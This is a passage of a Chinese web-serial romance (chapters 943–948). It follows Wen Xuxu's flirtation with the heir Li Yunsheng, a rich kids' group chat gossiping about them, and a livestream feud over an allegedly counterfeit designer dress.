难道是黎云笙?可他昨夜明明对她疏离得连客套都懒得维持。 晨风从敞开的落地窗灌进来,睡裙轻飘飘贴在她身上,冰凉的触感让温栩栩后知后觉地感到羞窘。 她不知道哪里来的胆子,此刻故意踱步到他面前:“黎先生不满意吗?这衣服不是您……或者您安排人给我换上的?”尾音微微上扬,带着点挑衅的意味。 两人的距离骤然拉近,温栩栩嗅到他身上雪松混着烟草的气息,忽然发现他垂在两侧的手指正无意识地蜷缩,仿佛在竭力克制什么。 她看着这一幕忍不住有点想调戏。 温栩栩忽然笑出声,声音轻得像羽毛拂过水面:“还是说,您想现在亲自给我挑一件让我穿着走?” 黎云笙的瞳孔猛地收缩,喉结再次滚动。 黎云笙将自己手中的西装外套搭在她肩头,将裸露的后背尽数遮住,布料上残留的温度熨烫着她的肌肤。 他低沉的嗓音染上沙哑:“温小姐要是想走,至少该穿得体些。” 第943章 要不您给我换件盗版 黎云笙离开前只留下说完便大步离开,只留给她一个僵硬的背影。 温栩栩盯着他落荒而逃的脚步,唇角勾起一抹意味不明的笑。 等反应过来自己刚才都干了什么后,温栩栩脸上的笑意都跟着僵硬了。 要命…… 她又疯了。 她刚才到底都说了些什么了不得的话? 那是在调戏黎云笙吗?为什么会对黎云笙说这种话!天!她怎么敢的! 温栩栩抬手捏了捏自己的眉心,此刻已经开始感觉到头痛了,是的,为自己头痛。 真要命啊,才开始就惹了黎云笙,她是什么易惹祸体质吗。 温栩栩在这边埋怨自己,这会儿才发现门边放着一个高档礼品袋,是一套紫色长裙,她见有明星穿过这套参加过晚宴。 温栩栩:“……” 这位少爷不会是打算让人给她准备换洗衣服的时候也被人误会了,所以才搞了这么夸张一件吧。 昨晚的衣服因为喝了酒很难闻,她是肯定不会穿了。 但是这套……有点太贵了吧。 昨晚先是坑了黎云笙,现在还穿人家这么贵的礼服裙,哇,她好捞啊。 她很穷的,真的没钱赔衣服。 要不……问问黎少? 温栩栩心里其实有一杆秤,自认不能随便占人便宜,但不知道为什么,对上黎云笙就总觉得理应如此,黎云笙就该给她花钱。 哇塞! 温栩栩被自己的想法震惊到了! 她现在甚至于不满足这样一件衣服了,还想要宝宝首饰豪车豪宅…… 惊的温栩栩整个人都一哆嗦。 她这难不成已经被金钱腐蚀了? 还没真的被带进二代圈子她就已经被金钱腐蚀了?她以前跟在韩城身边也没这样啊!怎么一靠近黎云笙就这样了? 不,这绝对不是她的问题,肯定是黎云笙的问题。 一定是黎云笙太有钱了,所以她羡慕嫉妒想抢他钱。 对,就是这样。 温栩栩想了半天,最后一口大黑锅水灵灵的被扣到黎云笙身上,千错万错都是黎云笙的错,她对别人就不这样。 温栩栩想到这里满意了,不得不给自己点了个赞。 套上黎云笙的西装外套狗狗祟祟的推开门抱着那衣服下楼,就看到黎云笙在冲咖啡。 晨光正从客厅的落地窗倾泻而入,他站在咖啡机前,背脊挺直如松,侧脸的轮廓被光线映衬的有种朦胧感。 下颌线似刀锋般利落,鼻梁高挺,薄唇抿成一条冷冽的弧线。一缕碎发垂在额前,被阳光染成琥珀色,随他抬手调试咖啡机的动作轻轻晃动,整个人也因为这乱动的发梢平白的增添了几分难得的俏皮感,是的,温栩栩都没想到“俏皮”这词能用到黎云笙身上。 他低头凝视咖啡豆的模样,像在鉴赏一件艺术品,眉梢微微蹙起,那股专注又慵懒的衿贵感,明明只是在泡咖啡都让人忍不住将目光落到他身上。 温栩栩有一瞬间看愣神了,这人冷是真冷,但帅也是真帅。 这人分明是座不近人情的冰山,可偏偏被晨光这么一衬,竟似有了温度。 她甚至生出一种错觉。 若再靠近些,那层冷硬的壳或许会被阳光融化,露出内里深藏的、她从未窥见过的暖色。 可下一瞬,黎云笙转头瞥来,眼底的漠然如寒潭骤现,瞬间冻住了她所有妄念。 男人眉眼清冷,注意到她也只是挑了下眉,然后淡淡道:“有事?” 温栩栩想起来自己是为什么下来的,抱着那衣袋问:“这衣服是正版吗?” “?”黎云笙看她的眼神仿佛是在看傻子。 意识到自己问了什么问题的温栩栩脸都红了。 她!到底!都在说些什么啊! 竟然会去问黎氏未来的继承人买的衣服是不是正版! 那不然呢!还能是盗版吗! 太离谱了! “不是……我的意思是这衣服太贵了我穿了没有钱还……要不您给我换件盗版?”温栩栩支吾半天解释了这么一句。 黎云笙眼皮直跳,似是被气笑了。 “温栩栩,你的意思是,我要让跟我传绯闻给我生了孩子的女人穿着我送的盗版裙子出门,是吗?” “你猜猜看外面的人都会怎么看。” 温栩栩:“……” 低头,无辜。 猜到了猜到了。 大概会说黎少穷抠搜,给自己女人都舍不得花钱这类的。 嘶。 黎氏继承人不舍得给自己女人花钱,还让人穿盗版,这传出去……她觉得她应该没什么问题,毕竟她穷,但黎云笙不是啊,黎云笙的好名声怕是真的要被她败光了。 可以有女人可以有儿子,但不能不舍得给自己人花钱啊。 这是圈子里死定律。 真正上流圈层那些个纨绔二世祖跟夜店小姐玩玩都还带去店里买个包包呢。 她要惹出这种乱子黎云笙就要被人笑掉大牙了。 头疼。 “其实……那个,你们圈子里也没那么多人知道我吧。”温栩栩心虚问。 黎云笙冷笑一声:“是不是太小看你自己了。” “你没在群里?” 黎云笙问的是那群二代在的八卦群,不是微信群,是Q群,里面甚至还有还在念高中的一群二代,还挺全乎,就因为还有些年纪小的,所以Q群更活跃,黎云笙其实是在里面的,但没有发言过,大家都以为那群内备注“黎”是开玩笑的,反正没人信那真的是黎云笙。 温栩栩绝对在群里,不过也没说过话。 听他这么问了就觉得这群大概有点热闹。 “那什么……我手机没电了。” 所以现在看不了群。 黎云笙瞥她一眼,将自己的备用手机丢过去:“自己看。” 这群二代们几乎是一整晚都没睡,从昨晚开始就特别精神的在讨论跟黎云笙相关的话题。 【赵宇】:啊啊啊啊!你们根本不知道昨天晚上到底发生了什么!我们圈子里那个冷酷无情的性冷淡黎少!他有女人了啊啊啊!暴风尖叫! 【宋源】:作为昨晚上亲历一切的人,让我点根烟跟你们好好唠唠昨晚的事。 【宋源】:一直跟在城少身边那长得特漂亮那美少年还记得吗?是女的。 第944章 绝对早就有一腿 一句话,直接在群里留下了一个闷雷。 【某二少】:? 【某纨绔】:?? 一群人全都成了点点点和问号,所有人都淹没在问号大军和沉默大军中。 【王泽旭】:不是?是我疯了还是你疯了?宋源你出来说句话,你解释解释到底几个意思!什么叫城少旁边那狗腿子是女的!你说话也要打个草稿吧!我亲眼看到过她有胸肌腹肌的!她是女的她总不能没胸吧!妈的一个男的胸还贼大,赶上黎少了。 【董纨绔】:靠被提黎少了行吗……长了一张禁欲的脸结果胸那么老大……我是男的我都想捏…… 【王泽旭】:所以黎少的胸到底怎么练的到底怎么练的! 【李明义】:反正不是像你一样吃喝玩乐逛夜店,你别说黎少的胸了,你头都快秃了! 【王泽旭】:我艹? 【宋源】:? 【宋源】:我就愣了下神你们给我干哪儿来了? 【宋源】:重点是城少身边那温栩栩是男的啊!不要再讨论黎少的胸了!你们再练也练不成黎少那样!你看城少不也没练成吗! 【王泽旭】:……有道理。 【王泽旭】:所以温栩栩怎么就成女的了?难不成真因为我们嘲讽说她娘炮就去外国咔嚓变性了?咦惹,好狠啊,嘶,好疼,这是个狠人。 【宋源】:?不是,没变性,她就是个女的,如假包换货真价实。 众纨绔傻了。 群里静了很久才有人震惊。 【王泽旭】:这妞儿怎么想的?胆儿这么肥呢?! 【李明义】:我真服了,这女人什么心思我马上就猜到了,还能为了什么,肯定是想勾引黎少啊,知道黎少不近女色讨厌女人所以故意装男人接近城少,你们也知道城少人蠢没心眼儿这不就被她勾搭上了?我听人说这妞儿已经攀上黎少了,也不知道是不是真的。 【王泽旭】:我靠!酷啊。 【李明义】:你最好是在玩抽象?哪儿酷了? 【王泽旭】:能接近黎云笙还不酷吗!你们平日里谁能接近黎云笙啊! 【李明义】:神经病! 【李明义】:这种垃圾干什么要来我们圈子里啊!底层人就在底层好好待着,没人喜欢底层人跨越阶层的乱跑!滚出我们圈子! 【李明义】:于海洋你为什么不说话?你不是最看不上这种人吗?你吱声啊!让我们一起把这人赶出去! 【于海洋】:…… 【宋源】:哈哈哈哈你看他像敢吱声的样子吗?吓得连标点符号都不敢打了!昨晚那场面简直能写进恐怖片剧本。 【于海洋】:…… 【李明义】:不是?那女人到底多厉害,你们一个两个都怕成这样?昨晚到底出什么事儿了?有没有人说说了?总不能真来了个祖宗! 【宋源】:是祖宗…… 【宋源】:昨晚于海洋泼了温栩栩一杯红酒。 【李明义】:干得漂亮!海洋你就该这么干! 【宋源】:泼完酒温栩栩就说她是黎少的女人有了黎少的孩子,然后黎少就出现亲自带走了温栩栩,最后是抱着温栩栩离开的,中间经历了什么你们自行想象。 【李明义】:嘶…… 【王泽旭】:嘶…… 【李明义】:卧槽?!这剧情发展比我的大纲还快!所以说那女人真怀了黎少的种?? 【王泽旭】:这绝对是《霸道总裁爱上我》现实版! 【宋源】:反正情况就是这么个情况,温栩栩已经有了黎少的孩子,你们说话做事都小心点的,不然绝对完蛋。 【某纨绔】:可我怎么听说黎少跟温栩栩那孩子都已经会说话了? 【某二少】:据说温栩栩跟黎少很久前就在一起了,两人感情很好,这次是在冷战,不然你们看谁能真的接近韩城接近黎少啊!绝对早就有一腿! 【宋源】:啊? 【某二少】:我大舅家的三姨夫姐夫家的姑姑的大舅妈说他俩孩子都有了,叫黎星夜! 【宋源】:?啊? 群内二代们讨论的话题也越来越古怪,从最开始的温栩栩勾搭上黎云笙变成了温栩栩怀了黎云笙的孩子,再到黎云笙温栩栩青梅竹马,两人孩子叫黎星夜。 叭叭到最后群里对两人关系深信不疑,甚至都觉得黎星夜会是黎氏下下任的继承人。 宋源人都麻了。 于海洋人也傻了。 只有李明义还在群里叨叨不相信温栩栩的身份,一定要把温栩栩赶出圈子。 群内大早上的说什么的都有,多数人都在讨论黎云笙和温栩栩,李明义还在那边兹哇乱叫嚷嚷着要赶走温栩栩。 【李明义】:同志们!我们必须把温栩栩这种人赶出圈子!生孩子怎么了,他们肯定没结婚,那就是私生子!还让私生子当黎家继承人,我看你们真的疯到脑子都不清醒了! 群里的人不是很想理李明义。 李明义急的上蹿下跳。 【李明义】:你们说话啊!一个个的都哑巴啦!必须要把温栩栩赶出去! 这群里消息真的是一整晚没有断,从凌晨后半夜开始就在疯狂聊着,这群纨绔真的是一晚没睡吃瓜。 温栩栩翻了下上面的聊天记录,偷瞄了下黎云笙,他正在倒咖啡,她胆子不知道怎么的就打起来,回了句话。 【黎云笙】:嘻嘻。 【王泽旭】:……? 【宋源】:? 【于海洋】:?不是?别搞啊!你谁啊!到底谁在整蛊把自己名字改成黎少的了!赶快改回去!真的很吓人啊! 【李明义】:就是啊!很容易把人吓死! 温栩栩被哔哔了也不着急,慢条斯理的回应了一句。 【黎云笙】:这就是他的号啊。 群内默了很久。 先前发了个“嘻嘻”明显不会是黎云笙发的。 这个人多少年都没发过消息,真的有点像黎云笙,这人又说是黎云笙的号。 我靠……不是吧…… 群内的纨绔们都已经彻底变成木头了,此刻在另一端拿着手机的手都在发抖,恨不能直接砸了手机当自己什么也没发什么也没说。 妈的! 这个说话语气……那不就是黎云笙的小娇妻吗! 群内一阵沉默,全都是点点点。 最终还是一直王泽旭冒头。 【王泽旭】:那个……温栩栩? 第945章 想把她关起来 【黎云笙】:是我呀。 群内已经彻底炸锅了。 为什么温栩栩会用黎少的号啊! 这还用想吗!宋源他们不都说昨晚上黎少抱着温栩栩走的?能把她抱到哪里去!肯定抱到家里了,会做什么那还用想吗! 现在竟然还嚣张到登录黎少的号! 天!这不是黎少的人是什么? 因为温栩栩突然的一句话,群内彻底静下来了,没人敢哔哔了。 温栩栩还有点懵。 “我拿你的号发了句消息,没人说话了。” 黎云笙:“……” 嘴巴里那口咖啡咽也不是不咽也不是了。 黎云笙抬手捏了下眉心,实在忍不住去看在自己面前晃悠的温栩栩。 “温小姐。” 温栩栩乖巧听着。 “昨晚你是被我抱着离开的。”黎云笙提示。 温栩栩愣了下,这她真不知道,只是印象里好像被人抱过,但没想到那人会是黎云笙啊! “现在是帝城时间早上七点,你登录我的账号在群内发言。” 后面的话黎云笙都没有说更多了,但温栩栩已经懂了。 群里那群人叽叽喳喳议论温栩栩相关的事,特别李明义说了多少难听话了,绝不相信温栩栩跟黎云笙有一腿。 结果呢? 温栩栩水灵灵的登录黎云笙的账号发消息。 这能不让人震撼吗? 不,不是震撼,已经是惊吓的程度了。 温栩栩这么一操作让很多人都知道了这群里真的有黎云笙!是真有啊!不是假的!而且黎云笙虽然没说过话,但不代表黎云笙没有窥过屏啊! 一想到在群里都叨叨过黎云笙什么,一群人心都跟着凉了。 黎云笙心眼儿应该没那么小吧。 温栩栩还在愣神,似乎也没料到自己突然发个消息能这么大影响,整个人有那么点呆萌,还有点不服。 黎云笙歪头看她,难得心底升腾起些许有点罕见的兴趣。 就像是在路边看到一只实在有趣的黑猫。 很想凑近摸上一把,看看是不是会炸毛。 他出生到现在,黎家那些烂摊子事烦琐无趣充斥着阴谋诡计,但出身黎家,身边少有玩伴,就算有也是盛景炎韩越韩城这些同等出身的人,而温栩栩这样的甚是少见,只觉得鲜活有趣。 明明是让人误会了自己,还扣上了不是多好的名声,可黎云笙就是会觉得可爱。 如果换做是别的什么人,他怕是已经交代下去把人发落了。 可温栩栩这里,他不仅没做什么,甚至还真的因为盛景炎几句打趣的话把人抱回家。 他其实不在意名声好坏,他会抱温栩栩回家仅仅因为他想把人抱回家。 这已经很能说明问题了。 难道……他想把人带回来然后关在身边? 对的,就是……关起来? 黎云笙觉得自己应该是道德感很强的人,不会做什么违法犯罪的事情,但此刻就是心里好像有人在鼓动自己把温栩栩关在身边,锁起来,然后让她永远逃不脱跑不掉。 不是那么多人都说她有自己的孩子吗?那就让她怀上好了。 等已经想到这里的时候黎云笙自己都有些怔愣。 他内心自己都不是很清楚,为什么不是别人,为什么刚好就是温栩栩? 因为她长得漂亮? 他就是这么肤浅的人? 他不觉得自己肤浅,也不觉得是自己的问题,肯定是温栩栩的问题。 温栩栩出生的家乡多半会下蛊。 温栩栩偷瞄他,对上男人盯过来的视线瞬间老实了,干笑了两声,抱着那衣服磨蹭着后退:“那什么,黎少没别的事我就去换衣服走人了。” 她想溜,黎云笙上前一步揪住她后衣领。 “闯了祸就想跑?” 温栩栩委屈:“那闯了祸还不跑的不是傻瓜吗。” 这话说的很有道理,但黎云笙不听。 “我错了我错了!我就是这两天脑子出了点小问题,我自己都不知道我在干什么……莫名其妙就惹了点乱子出来,黎少你就大人有大量放了我呗……” 她还是那副委委屈屈的模样,一副被欺负狠了的表情。 是真的很会演了。 黎云笙轻啧一声:“韩城是我的好友,你最好不要做出任何伤害他的事,否则你在这圈子待不长久。” 温栩栩连连点头,小鸡啄米式点头。 温栩栩换好衣服马上开溜,完全没看到男人深沉漆黑的目光。 温栩栩前脚离开,黎云笙就接到了舅舅的电话。 “阿笙,我看到圈子里那群人都在聊你跟一个……一个女孩子关系亲密?”黎舅舅跟他关系好,也不跟他拐弯抹角。 黎云笙默了片刻回应:“没睡,没孩子,没恋爱,都是假的。” 黎舅舅:“……” 黎舅舅有点可惜的开口:“那有没有可能是真的呢?” “暂时没可能。” 哦,说的是暂时,那还是有可能的。 黎舅舅心情好了。 “阿笙啊,你放心,我们不需要你联姻一定逼你娶个门当户对的进门,你选个自己喜欢的就行,那……那孩子叫温栩栩是吧,挺漂亮一小孩儿哈,你要喜欢,舅舅也绝对不反对你们。” 黎云笙:“……” 黎云笙也不知道为什么就提到跟温栩栩在一起的事了,只能说舅舅思维比较跳脱。 但似乎是想到温栩栩,他竟然真的没直接拒绝,只回了句“再说”。 …… 温栩栩溜出黎云笙的别墅,身上穿着高档礼服裙脚下踩着高跟鞋,但……在非常辛苦的往外走了,因为手机没电没办法叫车到这里,住在这里的又都有私家车,出租什么的更是没可能开到这里,因为!没有这边住户的允许根本开不进来! 温栩栩敲敲自己的头,早知道该给手机充了电再走。 一脸悲愤往外走。 “温栩栩!” 正溜达着,就听见不远处韩城叫喊的声音。 温栩栩有点茫然的回头,就见韩城开着辆最新款的跑车听到她身边。 “你怎么出来了?我正打算去找黎云笙算账呢。” 韩城气呼呼:“真是禽兽啊,让你小小年纪给他生孩子还抛弃你,简直太过分了!新世纪渣男!” 温栩栩觉得这事儿……黎云笙真的是有点委屈。 毕竟昨晚上那些都是她随口胡诌的,怎么这群人全都信了呢? 温栩栩一脸为难:“那什么……要不听我解释下呢?” 第946章 用你直播赚钱? 冤啊,实在是太冤了! 陈晶晶不是黎云笙,但她真的为黎云笙感到委屈。 说真的,黎云笙确实什么都没做啊,全都是她一本正经胡诌,偏偏这群人全都信了,离不离谱,你们二代圈子什么谎话都信的啊! 你们不觉得这事儿可笑吗? 别说其他人信了,就是整天跟黎云笙一起的韩城不也信了? 在韩城眼里,黎云笙跟禽兽没区别了。天地良心,她才是真禽兽。 人黎少昨晚上真是没碰她一根手指还白搭一件高档礼裙,哦对,人家好名声也没了。 黎少大气,这都没想着对付她呢。 所以现在韩城当她面儿说黎云笙这不对那不对的,温栩栩心里实在是心虚。 “那什么,我要解释一下,昨晚都是我胡说八道的,我跟黎少真的一点关系都没有,黎少就是帮了我一下……真的,全都是那包厢的人胡乱传八卦的。” “我跟你什么时候认识的你总该有数,不可能认识你之前就跟黎少勾搭啊。” 温栩栩解释。 韩城有点不信,甚至觉得这是温栩栩在为黎云笙开脱。 “那你说黎星夜怎么来的?”韩城疑惑,那总不能莫名其妙就出来个黎星夜吧! 温栩栩觉得自己头更疼了。 “不是,真没有生孩子,真没有,我昨晚撒谎说我怀孕了,我没生啊!我肚子这么平我也没怀!”温栩栩头一次觉得自己解释澄清也这么麻烦的。 韩城见她解释的这么明白清楚也信了。赶紧搂住她肩膀笑眯眯。 “我就说我哥们肯定跟我天下第一好,黎云笙一边儿待着去。” 他还挺得意,一点不觉得自己之前误会自己兄弟有什么不对的地方。 温栩栩跟韩城解释清楚就打算回去休息休息。 昨晚上那些事儿实在是让人头大。 她回到家给手机冲上电就见手机里面都是一个人的未接来电,微信也是一个叫王哥的不停发信息。 【王哥】:人呢? 【王哥】:醒了给我回电话! 【王哥】:温栩栩你疯了昨晚上不开播!我都给你商量好昨晚上给你直播推荐了! 【王哥】:你还想不想要这个月的底薪了!我告诉你每天都要播够四小时你全忘了是吧! 【王哥】:温栩栩!滚出来! 【王哥】:! 这看着是她签了直播的经纪人。 昨晚上确实是忘了这一茬,她说怎么昨晚上总觉得忘了点事,原来是忘记直播了。 温栩栩给这人回了个信息。 【温栩栩】:昨天有点事,今天复播。 消息才发出去,温栩栩手机就开始不停的响起来,是那位经纪人王哥打来的。 “温栩栩!你翅膀硬了是不是!你现在还是个小透明主播你懂不懂!本来就没什么人看你还给我摆什么谱呢!你今天不播够八小时你别想给我下线!播!现在就给我播!” 王哥怒气冲冲。 温栩栩只听他说话的语气就知道这人跟自己关系绝对不好,起码不是真的想捧自己的。 温栩栩抱着手臂淡淡的嗯了一声:“王哥,你觉得我长得怎么样。” 王哥嗤笑:“怎么?想让我夸你?你长得是好看,可长得好看可不能当饭吃,不还是要靠着直播赚那点底薪吗?” “不,长得好看可以当饭吃,还可以开除你。”温栩栩微笑:“王哥,我昨晚出去见了位了不得的大人物,你最好别惹我,不然我真的会吹枕边风的。” 王哥都被气笑了。 “你睡糊涂了是吧!就你还见大人物?” “你要真有这能耐还能月月拿底薪?你早被捧红了!” 温栩栩哦了一声:“那你等着。” 王哥压根不知道温栩栩想干嘛,还打算问呢,温栩栩直接画了个精致的妆容就开播了,就穿着件紫色的礼服裙,整个人魅惑中带着点说不出的韵味儿。 但因为是小透明主播,没有多少人知道,所以直播间没几个人。 温栩栩调了下麦,现在也没急着唱歌,打开自己手机点进了今天因为自己登录黎云笙账号然后导致那个群一群人不敢吱声的二代号,把自己的直播间分享进去。 【温栩栩】:您的好友温栩栩分享了直播间。 【温栩栩】:@全体成员。 【温栩栩】:开播啦开播啦。 本来静悄悄的群因为温栩栩这三条信息又热起来。 【宋源】:?不是?哈?搞什么?黎少养不起你吗用得到你去开直播赚钱? 【宋源】:小心黎少看到把你直播的这家公司收购了。 【李明义】:不是?你开播分享给我们干什么!你别想我给你刷礼物! 【温栩栩】:@李明义难道真的不是因为你穷吗?我看整个群大概只有你最穷吧,不然怎么动不动就破防动不动就骂人,动不动就大吵大闹,只有穷了才会情绪这么不稳定哦。 【李明义】:?哈喽?我穷?你说我穷? 【李明义】:你给爷等着! 温栩栩直播间果然涌进来几十个人,打头那位名字就叫“你李爸爸”,哐哐哐砸了三十万进去,什么礼物都是连着送,温栩栩这才开始播立刻就因为打赏登上了榜首,其它二代看热闹呢,也零零散散的打赏,虽然砸的不如李明义多,但小一千是有的。 就这开播一会儿的功夫。 温栩栩的直播经纪人都看傻了,在后台疯狂给温栩栩发信息。 【王哥】:我靠你那儿请来的这群有钱人啊!你昨晚真的跟这群人吃饭去了?你真傍大款了?你怎么不早说啊! 温栩栩没搭理,直接屏蔽了。 拖这些少爷的福,温栩栩的直播间上了榜首有了推荐,引进来不少人。 温栩栩一边道谢互动,一边弹起了吉他,唱了首最近最火的歌。 温栩栩坐在直播间的木椅上,手指轻拨吉他弦,音符如泉水般流淌。 她微微侧头,碎发被微风撩起,露出脖颈处细腻的肌肤,几缕发丝柔顺地垂落,像春日柳枝轻拂湖面。 她只微微抬头,露出那张明明是淡妆却仍然漂亮明艳的面容,睫毛在直播灯下投出细密的影子。 她唇畔漾着浅笑,梨涡若隐若现,仿佛连光影都为她驻留。 第947章 穿盗版的装货 歌声从她喉间溢出时,直播间仿佛被按下了暂停键。 婉转的旋律绕梁而行,如细雨滴落青瓦,每一个音符都精准地叩在人心上。 她唱的是一首最近很火的民谣,词曲简单,却因她独特的嗓音添了千回百转的韵味。 她的窗并没有关,此刻风缓缓吹过,她的发梢在镜头里划出轻盈的弧线,衣角也被吹得微微摆动。 一群二代们都有点愣住了,引流来的那群观众有的也开始刷礼物点歌,此刻在线人数也渐渐多起来。 {唱的真好啊,这嗓子老天爷赏饭吃!} {声卡怪,又一个声卡怪啊!} {长得真好看,感觉这妆特别淡,是真的有一张高级脸!} {哎等等,这女人是不是穿了一件星黛儿家的限量款礼服裙啊,我记得这衣服不是一个颜色就一件吗,售价高达六百多万呢!据说红色、绿色、紫色、蓝色、粉色都有,不过紫色这款我怎么在另一个直播间看到过啊,就那个白富美直播间,那位馨雅姐姐不是穿着这件直播吗,现在正在卖货呢。} {我靠……这是不是有人穿盗版了?} {这都不用猜就知道是谁穿了盗版,馨雅姐姐是帝城圈子里的白富美,人家是名媛,肯定穿的是正品,这女人从哪里冒出来的,是不是想蹭热度故意穿了这件礼服裙啊!} {馨雅姐姐是真正的千金小姐,千金小姐怎么可能穿盗版,绝对是这个女人为了炫富穿盗版!} 温栩栩还在唱歌,根本不知道评论区因为她穿的这条裙子吵起来了。 这次就算是李明义都觉得这群人有病。 {什么啊?她怎么可能穿盗版,你们知不知道她谁啊!我服了!馨雅又是谁!真要是帝城圈子里面的千金小爷怎么听都没听过!}这话是李明义说的。 这话一出口,馨雅的那群粉丝就跟疯了一样在评论区攻击李明义攻击温栩栩。 {呦呦呦,这是一个穿盗版炒热度的小透明啊!没听过我们馨雅姐姐?难道不是你自己太糊吗?} {笑死了,在帝城说没听过我们馨雅姐姐,你谁啊,是真的在帝城吗?别是什么小家族或者外圈的人,那你自然不够格接触我们馨雅姐姐了!我们馨雅姐姐那可是几大家族里面的名媛千金!} {也就是这种小透明的粉丝才这么疯哦,这是故意利用我们馨雅姐姐当跳板了?} {呸,等着看你这种装逼怪的下场!} {这是自己凑了几十万故意砸钱上了榜单是吧!装货!} {穿盗版的装货!} 温栩栩唱完歌才发现直播间的人特别多,但大多数不是自己的粉丝,看着像是别家的粉丝,这群人都在攻击李明义。 温栩栩看了一会儿,发现这群人都嘲讽她穿盗版。 啊? 我?穿盗版? 啊?黎云笙送的衣服怎么可能是盗版啊! 最戏剧话的来了,那位卖完货的馨雅姐姐现在也在唱歌,穿着和温栩栩同款的紫色礼服裙在直播间,跟温栩栩连线了! 温栩栩是真不知道这位是谁,只觉得这人的脸应该是整过的,整容痕迹很重,妆容和很厚,胸那里应该是垫了,因为很不自然。 她不知道这人为什么突然跟自己连麦,只是挑了下眉。 其实两人连麦,直播间拼到一起,谁美谁丑一目了然。 温栩栩的美是客观意义上的美,是那种纯天然的带着点傲气的美,特别是那双桃花眼漂亮的像是眼底盛满了星星。 可偏偏那位馨雅的粉丝叽叽喳喳骂温栩栩是丑八怪,馨雅姐姐天生丽质。 新进来的路人都觉得自己是不是眼瞎了,不然就是那群人脑子有问题。 李明义那群人都被这群颠佬气笑了。 甚至于这群颠佬还在攻击温栩栩。 {你怎么这么喜欢学我们馨雅姐姐!我们馨雅姐姐穿紫裙子你就穿紫裙子!我们馨雅姐姐弹吉他你就弹吉他!我们馨雅姐姐喝柠檬水你也喝柠檬水!} 李明义又被这群人癫疯了。 温栩栩也无语了。 李明义是不喜欢温栩栩,但这群癫货刚攻击了他,他实在憋不住那个火。 {谁学你们馨雅姐姐了!到底谁穿盗版谁自己心里清楚,温栩栩这身紫色的裙子才是绝对正版,怎么?全天下这么多人,你家馨雅姐姐弹吉他就不许别人弹吉他了?你家馨雅姐姐喝柠檬水别人就不许喝了?那你家馨雅姐姐还吃饭呢,你们也别吃了,你们馨雅姐姐还喝水呢你们也别喝了,不然全都是学人精啊!毛病!} 李明义在这边疯狂输出爆发,结果被馨雅的粉丝嘲讽是个只有几十万,现在为了给温栩栩充大头已经称穷光蛋的装货。 李明义气的眼睛都红了,下一秒直接给自己账户冲了一百万给温栩栩砸钱。 其实李明义零花钱真不算多,到底是圈子里的二代,家里面怕他花钱花疯了每个数,再加上还没有大学毕业,所以一个月就给他一百万的额度,李少爷买辆豪车都要攒几个月呢,这次就为了争口气,把自己攒的钱给温栩栩充了。 妈的,让你们再骂他没钱! 送礼物送的太多,温栩栩直播间全都是蓝色妖姬花瓣,馨雅的粉丝还跳脚说李明义是打肿脸充胖子。 李明义气死了,继续充钱,又砸了一百万进去给温栩栩送礼物。 李少爷冲动易怒,就为了争口气直接砸钱砸钱。 跟温栩栩同时段连线直播的馨雅脸上的笑意都僵住了。 温栩栩那边的礼物金额少说也有三百万了,她这边还少得可怜,她那群粉丝还在疯狂攻击那边的一个榜一。 她不是傻子,她看出来那位可能真是有钱人了。 她也想把榜一大哥拉过来,但她真觉得温栩栩那张脸实在好看,人家不一定看得上自己的整容脸。 馨雅心里嫉妒,可面上还是带着笑的劝自己的粉丝。 “大家不要再去那边给小妹妹添麻烦了,小妹妹大概就是觉得裙子漂亮所以才穿的,可能并不清楚正版仿版这些,我不在意的,大家也不要在意,小妹妹穿上这裙子也是很漂亮的哦。” 第948章 你老婆被欺负了 馨雅这样“大度”,她的粉丝更是感动,觉得自己姐姐实在是太懂事太好心了,换做是她们都想打肿温栩栩那张脸。 李明义看到这里更气了。 直接来馨雅直播间骂她了。 少爷从来不惧。 {给你爹装什么呢?小爷看不上温栩栩也不代表能看得上你这种绿茶婊啊!妈的跟小爷家里的小三妹妹一个腔调,你阴阳谁呢?不就是想内涵温栩栩穿了盗版礼服,你的是正版?你也有脸说?到底谁是盗版谁是正版你心里真没点数是吧!非要小爷把品牌方给你拎出来认领是不是?} {还帝城大家族的名媛,你帝城哪个大家族啊,你粉丝都说你是最顶层那几家,怎么的?你是盛家?黎家?傅家?还是韩家江家的?帝城也就这几大家族,你是哪家的?小爷就没听说过你!真正大家族的千金我们不可能不知道!更没有千金出来抛头露面开直播卖货的!} {来!你跟小爷透个底!你哪家的!我们这群二世祖也有专门的群,来,你说说我发群里,我倒要看看有没有人听说过你这么个名媛千金!} 李明义这暴脾气,直接就恼了,话说的要多难听有多难听。 馨雅脸上的笑意已经彻底僵住了。 粉丝们还在评论区叽叽喳喳让馨雅打他的脸,疯狂喷着李明义。 {我们姐姐就是名媛!小心我们姐姐爆出名头吓死你!你想舔都舔不到我们姐姐!} 有人这么说,李明义却嗤之以鼻。 笑死人了。 他们这圈子人都确实是想抱大腿啊,就是因为想抱大腿所以才最清楚那几大家族都有谁,就没听说过谁家叫馨雅的,甚至那几位长什么模样他们都知道,就没见过这人。 他们圈子里真正的名媛千金就算DO脸也不会有这么严重的整容痕迹,这人美商不行还满肚子阴谋诡计的,怎么可能是大家族养出来的。 就算真是什么家族里的,估计也就是养在外面的,又或者就是用名媛人设在骗钱。 李明义还等着馨雅说她是谁呢,馨雅满头冷汗,只能笑着擦了擦汗缓和气氛。 “大家不要吵了,宝宝们,我没说过我是大家族的哦,我就是个普通的有钱人啦,你们不要一直这样夸我给我和这位先生可能也会造成困扰哦。” “至于衣服的事,可能是店家那边搞错了吧,应该也不是小妹妹故意的,大家不要再攻击她了,谢谢大家。” 馨雅笑着鞠躬,然后先暂停了直播,疯狂给自己经纪人发信息。 “哥!快帮帮我!我的人设要崩,有帝城圈子里的二代进了我的直播间,还有那个温栩栩,哥你赶紧联系他经纪人,让她们那边配合我,说她的衣服是盗版!不然我绝对会完蛋的!” 巧的是馨雅和温栩栩是同一家公司,她的经纪人跟王哥还认识,直接给王哥打了通电话让王哥办妥这件事。 王哥应了,可怎么也联系不上温栩栩,给温栩栩发消息根本不回,打电话也直接摁断。 反了,真的是反了天了!连他的电话都敢不接了! 王哥没了办法,联系上面让人封了温栩栩的直播间,温栩栩那边还播着呢,直接断线,显示直播有问题所以关闭直播。 馨雅的粉丝幸灾乐祸的在馨雅直播间欢呼嘲讽温栩栩绝对穿了盗版,是人家品牌方找上来举报了! 李明义那群二代们都被气笑了。 不是?可以啊,当着他们的面儿搞这种暗箱操作是吧! 他们虽然跟温栩栩关系不好,可再怎么着温栩栩那也是攀上黎少了,真要是黎少的人他们这群人都要称呼一句嫂子的,什么玩意儿啊就搞他们嫂子! 